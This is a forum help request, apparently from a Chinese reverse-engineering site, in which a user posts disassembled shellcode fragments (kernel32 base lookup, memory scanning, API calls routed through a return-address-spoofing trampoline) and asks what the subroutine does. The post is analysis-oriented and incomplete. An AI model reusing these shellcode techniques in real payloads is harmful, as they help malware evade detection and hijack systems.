首页
社区
课程
招聘
[求助]调试shellcode遇到的问题,请大虾帮忙
发表于: 2007-12-25 18:02 4852

[求助]调试shellcode遇到的问题,请大虾帮忙

2007-12-25 18:02
4852
我遇到一shellcode,不明白下面的代码是什么意思,请各位大虾给予指点。

inc     eax   ;eax指向kernel32的基地址
cmp     byte ptr [eax], 5Bh ; '['
jnz     short loc_13427
cmp     byte ptr [eax+1], 0C3h ; '?
jnz     short loc_13427
mov     [esi+34h], eax       ; eax为kernel32中7c80DF4D的偏移量,保存到了一个变量中。
mov     edx, 150000h

loc_1343B:                              ; CODE XREF: GetKernelBase+53j
                                        ; GetKernelBase+5Bj ...
inc     edx
mov     ebp, edx
push    99999999h
push    98989898h
push    4
push    edx
push    dword ptr [esi+30h]  ;这个变量指向IsBadReadPrt的起始地址
call    sub_135F2   ;在跟进这里的时候,会出现内存访问异常。
mov     edx, ebp
cmp     eax, 0
jnz     short loc_1343B
cmp     dword ptr [edx], 70006F00h
jnz     short loc_1343B
db      3Eh
cmp     dword ptr [edx+4], 6E006500h
jnz     short loc_1343B
add     edx, 0Dh
push    99999999h
push    98989898h
push    0
push    80h ; '€'
push    3
push    0
push    1
push    80000000h
push    edx
push    dword ptr [esi+2Ch] ;这个是指向WriteFileW的指针
call    sub_135F2

其中 sub_135F2处的内容是

sub_135F2 proc near                     ; CODE XREF: GetKernelBase+49p
                                        ; GetKernelBase+8Ap ...
pop     ebx
pop     edx
mov     eax, esp

loc_135F6:                              ; CODE XREF: sub_135F2+Bj
inc     eax
cmp     dword ptr [eax], 98989898h
jnz     short loc_135F6
mov     ecx, [esi+34h]
mov     [eax], ecx
mov     [eax+4], ebx
push    dword ptr [esi+34h]
push    edx
retn
sub_135F2 endp
不明白这个子函数是干什么用的,shellcode中多次调用了此函数,压入参数的格式都是这样的
push    99999999h
push    98989898h
push    0
push    80h ; '€'
push    3
push    0
push    1
push    80000000h
push    edx
push    dword ptr [esi+2Ch] ;这个是指向WriteFileW的指针
call    sub_135F2

哪位高人明白,请给予指点。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
今天是圣诞节,有好东东
顺祝楼主及各位会员愉快
2007-12-25 23:27
0
游客
登录 | 注册 方可回帖
返回
//